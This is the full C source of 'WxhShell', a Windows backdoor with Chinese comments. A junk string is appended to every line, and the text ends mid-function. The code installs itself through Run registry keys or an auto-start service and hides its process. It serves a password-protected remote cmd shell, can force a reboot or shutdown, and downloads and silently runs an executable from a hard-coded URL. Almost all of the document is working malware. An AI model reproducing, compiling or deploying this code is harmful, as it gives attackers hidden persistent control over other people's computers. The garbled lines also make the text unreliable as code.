  case 'd': { )S3\,S-.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "Hya6k>j  
    if(Boot(SHUTDOWN)) IO wj>t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o\BOL3H  
    else { `CBZhI%%  
    closesocket(wsh); "/yC@VC>  
    ExitThread(0); !1rlN8w(qr  
    } ^/uA?h:]\  
    break; ~3^ 8>d/  
    } YD <:,|H   
  // 获取shell Mo y <@+  
  case 's': { SII;n2[Ze  
    CmdShell(wsh); -#7'r<I9@  
    closesocket(wsh); s kv GU(G}  
    ExitThread(0); \@Ts+7%  
    break; b`(}.r?W  
  } -] LY,M  
  // 退出 9 eR-  
  case 'x': { *jLJcb*.Ap  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tI]Q%S,  
    CloseIt(wsh); RW|`nL  
    break; 9"NF/)_  
    } 'g6\CZw(#  
  // 离开 tG:25T0  
  case 'q': { .>q8W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .rO]M:UY  
    closesocket(wsh); S3F;(PDzy  
    WSACleanup(); C](f>)Dz /  
    exit(1); dFRsm0T  
    break; 6RG)` bu  
        } %]F d[pzF  
  } VQ"hUX8  
  } 8H;t_B  
?TM ,Q  
  // 提示信息 %!]@J[*1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wHzEMwY_  
} !-ok"k0,u  
  } 6 rh5h:  
W~6EEyD%  
  return; A]<y:^2])C  
} !4]T XH0f  
O80<Z#%j`  
// shell模块句柄 @>u]4Jn  
int CmdShell(SOCKET sock) \@WDV  
{ l2`s! ,<>O  
STARTUPINFO si; "K  ~  
ZeroMemory(&si,sizeof(si)); k;2GEa]w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wZG\>9~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l-fi%Z7C  
PROCESS_INFORMATION ProcessInfo; ccNd'2P  
char cmdline[]="cmd"; |)nZ^Cc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p s/A yjk  
  return 0; -1 FPkp  
} L E&RY[  
W_||6LbZy  
// 自身启动模式 a!ud{Dx  
int StartFromService(void) 46$._h P  
{ a<@1 -j<  
typedef struct ztnFhJ<a$  
{ MPCBT!o4Z  
  DWORD ExitStatus; M:XSQ["6>V  
  DWORD PebBaseAddress; U [*FCD!~  
  DWORD AffinityMask; qT ,Te  
  DWORD BasePriority; fg s!v7  
  ULONG UniqueProcessId; 5"^en# ?9  
  ULONG InheritedFromUniqueProcessId; : imW\@u  
}   PROCESS_BASIC_INFORMATION; ?QsQnQ  
VkvB<3  
PROCNTQSIP NtQueryInformationProcess; E4xj?m^(y=  
|P[w==AAf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,eOB(?Ku  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C+'/>=>a.  
~{d$!`|a  
  HANDLE             hProcess; %Da8{%{`Pc  
  PROCESS_BASIC_INFORMATION pbi; zer%W%  
vBRQp&YwX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J3,fk)  
  if(NULL == hInst ) return 0; !i{aMxUP  
Z LB4m`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OPwtV9%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .}^g!jm~h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ao%NK<Lt  
&wi e]  
  if (!NtQueryInformationProcess) return 0; M}d_I+  
?!;7:VIE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AB=daie  
  if(!hProcess) return 0; ;L cVr13J/  
9}l33T4T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .>CPRVuVI  
H!?c\7adX  
  CloseHandle(hProcess); 0F]>Jby  
i8`Vv7LF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?$vCW|f  
if(hProcess==NULL) return 0; [ OM7g'?S0  
rv &<{@AS~  
HMODULE hMod; _hN\10ydY  
char procName[255]; V`X2> -Ex  
unsigned long cbNeeded; H#@^R(  
<%($7VMev  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "|Xk2U  
Gnf~u[T6  
  CloseHandle(hProcess); O?)3VT*  
*194{ ep  
if(strstr(procName,"services")) return 1; // 以服务启动 jNTjSX  
/~}}"zx&  
  return 0; // 注册表启动 ~T9/#-e>BF  
} |y&*MTfV4L  
*-MM<|Qt  
// 主模块 O/,aJCe  
int StartWxhshell(LPSTR lpCmdLine) [ p{#XwN  
{ s8wmCzB~  
  SOCKET wsl; 61. Brp.eP  
BOOL val=TRUE; J!0DR4=Xi  
  int port=0; !6BW@GeF]  
  struct sockaddr_in door; :ZTc7 }  
:axRoRg  
  if(wscfg.ws_autoins) Install(); xGu r  
PfreAEv,  
port=atoi(lpCmdLine); 8C[C{qOJ  
nTuJEFn{  
if(port<=0) port=wscfg.ws_port; IAYR+c  
2HpHxVJ  
  WSADATA data; vk+VP 1D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |rJ=Ksc  
t0o`-d(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =o Xsb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZNf6;%oGG  
  door.sin_family = AF_INET; {)"iiJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '>&^zgr  
  door.sin_port = htons(port); } ~h3c|  
M*z~gOZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U@gn;@\  
closesocket(wsl); d\p,2  
return 1; ;gBRCZ  
} 0*rQ3Z  
N03HQp)g  
  if(listen(wsl,2) == INVALID_SOCKET) { 2r!s*b\Ix  
closesocket(wsl); Zw*v  
return 1; )^ m%i]L _  
} AB F"~=aL  
  Wxhshell(wsl); whpfJNz  
  WSACleanup(); TT'[qfAI  
8dZ0rPd?  
return 0; 3^R&:|,  
x$IX5:E#e  
} bLe <G  
,8:(OB|a  
// 以NT服务方式启动 _z'u pb&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i 7_ _  
{ /e7O$L)   
DWORD   status = 0; ^.#jF#u~  
  DWORD   specificError = 0xfffffff; J/\V%~ 1F  
JQ,1D`?.a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [ JpKSTg[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `&KwtvkdI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vY%d   
  serviceStatus.dwWin32ExitCode     = 0; 9{-EJ)  
  serviceStatus.dwServiceSpecificExitCode = 0; vWRju*Z&  
  serviceStatus.dwCheckPoint       = 0; K%"5ImM  
  serviceStatus.dwWaitHint       = 0; k *Q<3@S  
YQ39 A_e g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9/hrjItV  
  if (hServiceStatusHandle==0) return; FO!]P   
|p><'Q% *  
status = GetLastError(); 6,d@p  
  if (status!=NO_ERROR) 2Tfz=7h$  
{ *$p2*%7Ne  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IqC]!H0  
    serviceStatus.dwCheckPoint       = 0; }D7I3]2>   
    serviceStatus.dwWaitHint       = 0; b+@JY2dvj  
    serviceStatus.dwWin32ExitCode     = status; 0|$v-`P$  
    serviceStatus.dwServiceSpecificExitCode = specificError; @c<3b2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LUuZ9$t0J"  
    return; 6xWe=QGE  
  } ANJ$'3tg  
'<rZm=48  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zRq-b`<7V  
  serviceStatus.dwCheckPoint       = 0; {P{bOe  
  serviceStatus.dwWaitHint       = 0; V>R8GSx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [* @5\NWR}  
} ;k7xMZs  
L1i eaKw  
// 处理NT服务事件,比如:启动、停止 {jYOs l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $4tWI O  
{ }&n<uUDH  
switch(fdwControl) BB~OqZIP  
{ D&}3$ 7>  
case SERVICE_CONTROL_STOP: Uc_'(IyO  
  serviceStatus.dwWin32ExitCode = 0; Z7_m)@%;kk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JS*m65e  
  serviceStatus.dwCheckPoint   = 0; um4yF*3b9  
  serviceStatus.dwWaitHint     = 0; 4d8B`Fa9  
  { t*>R`,j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); enp)-nS0  
  } 7 qj9&bEy  
  return; t: #6sF  
case SERVICE_CONTROL_PAUSE: Ttxqf:OMf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GFel(cx:K  
  break; PNaay:a|  
case SERVICE_CONTROL_CONTINUE: BO~PT,QrF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EX?MA6U  
  break; ^1Zeb$Nw'  
case SERVICE_CONTROL_INTERROGATE: } p&&_?  
  break; J(c{y]`J  
}; YN`H BFH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  A-4h  
} J.ck~;3  
% !du,2  
// 标准应用程序主函数 6ek;8dL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e'0{?B  
{ Md0 s K  
EmODBTu+  
// 获取操作系统版本 hjIT_{mk  
OsIsNt=GetOsVer(); /%&2HDA)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %n hm  
c0hwc1kv-  
  // 从命令行安装 n@U n  
  if(strpbrk(lpCmdLine,"iI")) Install(); f}1&HI8r  
:{IO=^D=$  
  // 下载执行文件 <^zHE=h"  
if(wscfg.ws_downexe) { ~$p2#AqX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o(S{VGi,  
  WinExec(wscfg.ws_filenam,SW_HIDE); hO';{Nl/$  
} 9(6I<]#  
Z\HX~*,6  
if(!OsIsNt) { `FsH}UPu b  
// 如果时win9x,隐藏进程并且设置为注册表启动 z)9wXo#~  
HideProc(); Xtp"QY p  
StartWxhshell(lpCmdLine); uO=aaKG  
} +"8,Mh  
else \ gLHi~  
  if(StartFromService()) |b*? qf  
  // 以服务方式启动 %,Ap7X3:QT  
  StartServiceCtrlDispatcher(DispatchTable); :{oZ~<  
else ~-PjW#J%  
  // 普通方式启动 :cGt#d6  
  StartWxhshell(lpCmdLine); {K9/H qH  
_>9.v%5cs(  
return 0; Ti'}MC+0  
} -u? S=h}  
!!Aj<*%  
|7X:TfJ  
`;)\u  
=========================================== 6S+U&Ce\  
]p;FZ4-T  
tkXEHsRT  
;$a@J&  
mZx&Xez_G  
cZT({uYGL  
" M-;4   
IdXZoY  
#include <stdio.h> CMn{LQcC  
#include <string.h> 7{I h_.#  
#include <windows.h> 1[jb)j1  
#include <winsock2.h> (y M^  
#include <winsvc.h> BM(]QUxRd  
#include <urlmon.h> 7c~u=U"  
+reor@h  
#pragma comment (lib, "Ws2_32.lib") ~i21%$  
#pragma comment (lib, "urlmon.lib") 8HRmQ  
e0J6Ae4V[  
#define MAX_USER   100 // 最大客户端连接数 z,VD=Hnz  
#define BUF_SOCK   200 // sock buffer jK' N((Hz  
#define KEY_BUFF   255 // 输入 buffer ^D<r  
A?`jnRo=\  
#define REBOOT     0   // 重启 Zc!@0  
#define SHUTDOWN   1   // 关机 e'=MQ,EWd  
HW7; {QMg  
#define DEF_PORT   5000 // 监听端口 *X4PM\ck  
!}4MN:r  
#define REG_LEN     16   // 注册表键长度 ,:`ND28V7  
#define SVC_LEN     80   // NT服务名长度 JB>b`W9   
A0fFv+RN3  
// 从dll定义API (sQr X{~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6<$Odd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ND5`Q"k   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c7M%xGrP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !w H'b  
`\m*+Bk[5  
// wxhshell配置信息 :OW ;?{ ~j  
struct WSCFG { Bf$_XG3  
  int ws_port;         // 监听端口 #?XQ7Im  
  char ws_passstr[REG_LEN]; // 口令 l2&`J_"  
  int ws_autoins;       // 安装标记, 1=yes 0=no # hlCs  
  char ws_regname[REG_LEN]; // 注册表键名 HgBGV0  
  char ws_svcname[REG_LEN]; // 服务名 MdXchO-Lyc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BSkDpr1C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1y lk4@`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M4d47<'*~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {U84 _Pi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HU9Sl*/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4[BG#  
QjC22lW-  
}; tOOchu?=  
iC*F  
// default Wxhshell configuration [xT:]Pw}  
struct WSCFG wscfg={DEF_PORT, J7v|vj I  
    "xuhuanlingzhe", MSV2ip3  
    1, A.D{.a  
    "Wxhshell", =+x yI  
    "Wxhshell", [Tnsr(Z  
            "WxhShell Service", kFQ8 y~>y}  
    "Wrsky Windows CmdShell Service", z Nl ,  
    "Please Input Your Password: ", J!5v~<v?-  
  1, P<Zh XN'  
  "http://www.wrsky.com/wxhshell.exe", lw :`M2P,  
  "Wxhshell.exe" MCT'Nw@A  
    }; CT\;xt,S  
]IL;`>Gp  
// 消息定义模块 7^M9qTEHp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /l{ &iLz[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m~>Y{F2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _ ib"b#  
char *msg_ws_ext="\n\rExit."; #BQ.R,  
char *msg_ws_end="\n\rQuit."; $z$u{  
char *msg_ws_boot="\n\rReboot..."; 4]/7 )x?R  
char *msg_ws_poff="\n\rShutdown..."; p2N:;lXM  
char *msg_ws_down="\n\rSave to "; I(S)n+E  
Cn_$l>  
char *msg_ws_err="\n\rErr!"; 5BR2?hO4  
char *msg_ws_ok="\n\rOK!"; wP57Pf0  
[j"9rO" +  
char ExeFile[MAX_PATH]; *#TYqCc+g  
int nUser = 0; {VP$J"\e  
HANDLE handles[MAX_USER]; k64."*X  
int OsIsNt; JMCW}bA  
qiZO _=0  
SERVICE_STATUS       serviceStatus; NWd<+-pC6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !bC+TYsU  
(o J9k[(  
// 函数声明  `juLQH  
int Install(void); ZbT/$\0(6  
int Uninstall(void); KE1ao9H8wR  
int DownloadFile(char *sURL, SOCKET wsh); zh $}~RG[  
int Boot(int flag); l?iSxqdT  
void HideProc(void); \@>b;4Fb+N  
int GetOsVer(void); 7t?*  
int Wxhshell(SOCKET wsl); (n1Bh~R^  
void TalkWithClient(void *cs); = 0- $W5E  
int CmdShell(SOCKET sock); U;n*j3wT  
int StartFromService(void); r|*&GHo L  
int StartWxhshell(LPSTR lpCmdLine); ql GW.jY.  
jAh2N3)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1.D-FPK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Lw'9  
bT6sb#"W  
// 数据结构和表定义 )XfzLF7  
SERVICE_TABLE_ENTRY DispatchTable[] = HAYMX:%  
{ |e a~'N1  
{wscfg.ws_svcname, NTServiceMain}, &vovA} F  
{NULL, NULL} {T'GQz+R"  
}; O'GG Ti]e  
kF;5L)o  
// 自我安装 \*\R1_+  
int Install(void) NWfAxkz {/  
{ "C?5f]T  
  char svExeFile[MAX_PATH]; F/1#l@qN  
  HKEY key; < pTTo  
  strcpy(svExeFile,ExeFile); 3jogD  
E1&b#TE 6O  
// 如果是win9x系统,修改注册表设为自启动 ICB~_O5  
if(!OsIsNt) { [~\PQYm'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CU:o*;jP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dx,=Rd5'  
  RegCloseKey(key); &ff&Y.q~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y[@\j9Hq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 93IFcmO.H@  
  RegCloseKey(key); "7d-z<^n  
  return 0; z^nvMTC  
    } NA$zd(  
  } 0lM{l?  
} jxgj,h"}9`  
else { $3X-r jQtW  
{m8+Wju}  
// 如果是NT以上系统,安装为系统服务 K={qU[_O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OTB$V k  
if (schSCManager!=0) l$*=<tV  
{ Q{QYBh&  
  SC_HANDLE schService = CreateService QFPfIb/  
  ( O;HY%  
  schSCManager, GO! uwo:  
  wscfg.ws_svcname, fWGOP~0  
  wscfg.ws_svcdisp, 3E^M?N2oc  
  SERVICE_ALL_ACCESS, T88Y qI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QIB>rQCceo  
  SERVICE_AUTO_START, IgL_5A  
  SERVICE_ERROR_NORMAL, xKOq[d/8  
  svExeFile, CY?G*nS?iK  
  NULL, zHfP+(ah  
  NULL, v=I|O%  
  NULL, R)Mt(gFZT_  
  NULL, Xl |1YX1&m  
  NULL rSP_:}  
  ); KyP)Qzp  
  if (schService!=0) >yJ-4lgZ  
  { l]2r)!Q7  
  CloseServiceHandle(schService); rAdacnZV  
  CloseServiceHandle(schSCManager); W&"|}Pi/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $mA5@O~C5\  
  strcat(svExeFile,wscfg.ws_svcname); IB9%QW"0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nL]^$J$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P5QQpY{<I  
  RegCloseKey(key); ']o od!  
  return 0; /"qcl7F  
    } V_U'P>_I  
  } M~6@20$oW  
  CloseServiceHandle(schSCManager); O$ !* %TL  
} !wLg67X$ -  
} k /EDc533d  
%bb~Y"  
return 1; ~:sE:9$z  
} o[6y+<'o  
;/AG@$)  
// 自我卸载 TB aVW  
int Uninstall(void) O';ew)tI  
{ )wzV $(~  
  HKEY key; 7q9gngT1LA  
Q}2[hB  
if(!OsIsNt) { dpN@#w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }b["Jk\2  
  RegDeleteValue(key,wscfg.ws_regname); 3mt%!}S  
  RegCloseKey(key); 6\d X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Md; /nJO~{  
  RegDeleteValue(key,wscfg.ws_regname); VU!w!GN]Y  
  RegCloseKey(key); -[#n+`M  
  return 0; ~bA,GfSn0  
  } _.18z+  
} SjcL#S($&Y  
} BZ+-p5]-  
else { U!q[e`B  
:_dICxaLZT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K3$` Kv>I  
if (schSCManager!=0) _EYB 8e  
{ FJM;X-UOY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y)J(K*x/$  
  if (schService!=0) Il~01|3+m  
  { ('o&Q_  
  if(DeleteService(schService)!=0) { @O3/3vi1  
  CloseServiceHandle(schService); (hZ:X)E>  
  CloseServiceHandle(schSCManager); +`| *s3M  
  return 0; :9d\Uj,  
  } ZKbDp~  
  CloseServiceHandle(schService); V/#v\*JHFc  
  } CSn<]%GL  
  CloseServiceHandle(schSCManager); ]= x 1`j  
} q7]>i!A  
} Re:T9K'e  
/-*hjX$n  
return 1; \MYU<6{u  
} KHj6Tg;)  
6!7Pm>ml  
// 从指定url下载文件 +$beo2x6  
int DownloadFile(char *sURL, SOCKET wsh) I ,FqN}  
{ M?6;|-HH  
  HRESULT hr; x(r+P9f\<  
char seps[]= "/"; cz.3|Lby  
char *token; 5h_5Z~  
char *file; 6n w&$I  
char myURL[MAX_PATH]; ,a(O`##Bn  
char myFILE[MAX_PATH]; jqoPLbxT  
m3 IP7h'  
strcpy(myURL,sURL); !QC<n/  
  token=strtok(myURL,seps); u35q,u=I  
  while(token!=NULL) 3B18dv,V  
  {  Q9y*:  
    file=token; wa3F  
  token=strtok(NULL,seps); |+EKF.K  
  } L~0& Q  
$iJnxqn  
GetCurrentDirectory(MAX_PATH,myFILE); V,4.$<e  
strcat(myFILE, "\\"); N=ifIVc  
strcat(myFILE, file); j=3-Qk`"/|  
  send(wsh,myFILE,strlen(myFILE),0); IKm&xzV-  
send(wsh,"...",3,0); QPg2Y<2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U~QMR-bz  
  if(hr==S_OK) 23E 0~O  
return 0; 5d 5t9+t  
else =:5<{J OG  
return 1; a&5g!;.  
APHPN:v  
} h(:<(o@<  
IRB& j%LA  
// 系统电源模块 %-^}45](q  
int Boot(int flag) 9/;{>RL=  
{ cF.mb*$K  
  HANDLE hToken; Qb@eK$wo}  
  TOKEN_PRIVILEGES tkp; K\sbt7~  
fA XE~  
  if(OsIsNt) { {[3YJkrM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Dc:DY:L^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5EhE`k4  
    tkp.PrivilegeCount = 1; -Cj_B\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z>:U{!5k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'O "kt T  
if(flag==REBOOT) { v>I<|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FGVb@=TO>  
  return 0; u5E/m  
} XtW_  
else { 2v^lD('  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YC)hX'A\  
  return 0; a!u3 HS-i  
} R~c1)[[E  
  } Jk*QcEE=  
  else { Ao*FcrXN  
if(flag==REBOOT) { A}4t9|/K6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C"No5r'K3  
  return 0; +!$dO'0nt,  
} @zs1>\J7  
else { `E;)`J8b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AQn[*  
  return 0; E4m:1=Nd~]  
} .;Z.F7{q  
} 5&%fkZ0  
j];G*-iv{  
return 1; Kw*~W i  
} bA+[{  
V85.DK!  
// win9x进程隐藏模块 yM17H\=  
void HideProc(void) C 38XQLC  
{ |UZOAGiBg  
SY8U"Qc;9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R9E6uz.j  
  if ( hKernel != NULL ) `t9.xB#Z  
  { b6Xi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nk>8SW^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q (1r<2  
    FreeLibrary(hKernel); _=T]PSauI  
  } <[5#c*A  
u2,H ]-  
return; E@]sq A  
} ]W|RtdF3.N  
K Dz]wNf  
// 获取操作系统版本 %%x0w^  
int GetOsVer(void) r4S=I   
{ k) 3s?  
  OSVERSIONINFO winfo; \d$Rd")w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /sH0x,V  
  GetVersionEx(&winfo); yjR)Z9t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kraVL%72  
  return 1; %O Fj  
  else Nc"NObe  
  return 0; H CuK  
} 2@5A&b  
ywe5tU  
// 客户端句柄模块 2moIgJ   
int Wxhshell(SOCKET wsl) 5"e+& zU~f  
{ F%y{% C7l  
  SOCKET wsh; QP<FCmt8  
  struct sockaddr_in client; ?GfxBZWJ  
  DWORD myID; ip674'bq7R  
jB/V{Y#y9@  
  while(nUser<MAX_USER) 6*V8k%H  
{ }2mI*"%)\u  
  int nSize=sizeof(client); GM77Z.Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q.>/*8R;  
  if(wsh==INVALID_SOCKET) return 1; [{/$9k-aF?  
)ZeLaaP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 79a9L{gso  
if(handles[nUser]==0) n8Q* _?Z/  
  closesocket(wsh); p*!q}%U  
else <YSg~T  
  nUser++; ,.q8Xf  
  } [Q=4P*G}X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m"q/,}DR  
}eI`Qg  
  return 0; CCn/ udp@  
} lf;~5/%wMG  
b<8q 92F  
// 关闭 socket >0 7shNX  
void CloseIt(SOCKET wsh) >waN;&>/  
{ {Bc#?n  
closesocket(wsh); .h a`)@MsZ  
nUser--; ;i}i5yv2  
ExitThread(0); gDMAc/V`l  
} 6g8M7<og9R  
?&XzW+(X  
// 客户端请求句柄 E"ZEo9y@^  
void TalkWithClient(void *cs) `fLfT'  
{ S>(z\`1qm  
-S7RRh'p  
  SOCKET wsh=(SOCKET)cs; ` -yhl3si  
  char pwd[SVC_LEN]; cJ2y)`  
  char cmd[KEY_BUFF]; c'xUJhEL  
char chr[1]; QW,cn7  
int i,j; T4vogoy  
cu:-MpE  
  while (nUser < MAX_USER) { 1"M"h_4  
y>%W;r)  
if(wscfg.ws_passstr) { nQ!N}5[z'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |iAEDZn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iq,ah"L  
  //ZeroMemory(pwd,KEY_BUFF); rAL1TU(vm  
      i=0; n}42'9p  
  while(i<SVC_LEN) { J&'>IA  
\I:UC %  
  // 设置超时 P`z7@9*j  
  fd_set FdRead; (2cGHYU3N<  
  struct timeval TimeOut; nhp)yW  
  FD_ZERO(&FdRead); x Ridc^  
  FD_SET(wsh,&FdRead); %;'~%\|dZM  
  TimeOut.tv_sec=8; }WA<=9e  
  TimeOut.tv_usec=0; _dJp 3D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ys/`{:w8p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gZ1N&/9;  
%bEGv:88s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i_|h{JK)  
  pwd=chr[0]; Vn@A]Jx^  
  if(chr[0]==0xd || chr[0]==0xa) { D\n>*x  
  pwd=0; sw[<VsxjR  
  break; b_q! >&c  
  } tsB.oDMP  
  i++; $#F;xys  
    } z9I1RX V  
:fl*w""V@  
  // 如果是非法用户,关闭 socket bb*c+XN0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hT\p)w  
} zwKg  
 ~WzMK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~}epq6L>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3O#~dFnp  
\a\^(`3a[  
while(1) { Hf;RIl2F  
5T7_[{  
  ZeroMemory(cmd,KEY_BUFF); $:qI&)/  
11PLH0  
      // 自动支持客户端 telnet标准   t)YFTO"Jj  
  j=0; PY[S z=[  
  while(j<KEY_BUFF) { /,=Wy"0TJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e!TG< (S  
  cmd[j]=chr[0]; 6wa<'!   
  if(chr[0]==0xa || chr[0]==0xd) { 8''9@xz  
  cmd[j]=0; <{3q{VW*  
  break; 7Ntjx(b$"h  
  }  s$K@X `  
  j++; z?8zFP  
    } J,CJPUf&  
/+Wb6{lY  
  // 下载文件 Dh*~U :6$g  
  if(strstr(cmd,"http://")) { u]ZqF *  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }w;Q^EU  
  if(DownloadFile(cmd,wsh)) B)_!F`9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E|KLK4 ]  
  else BnY\FQ)K  
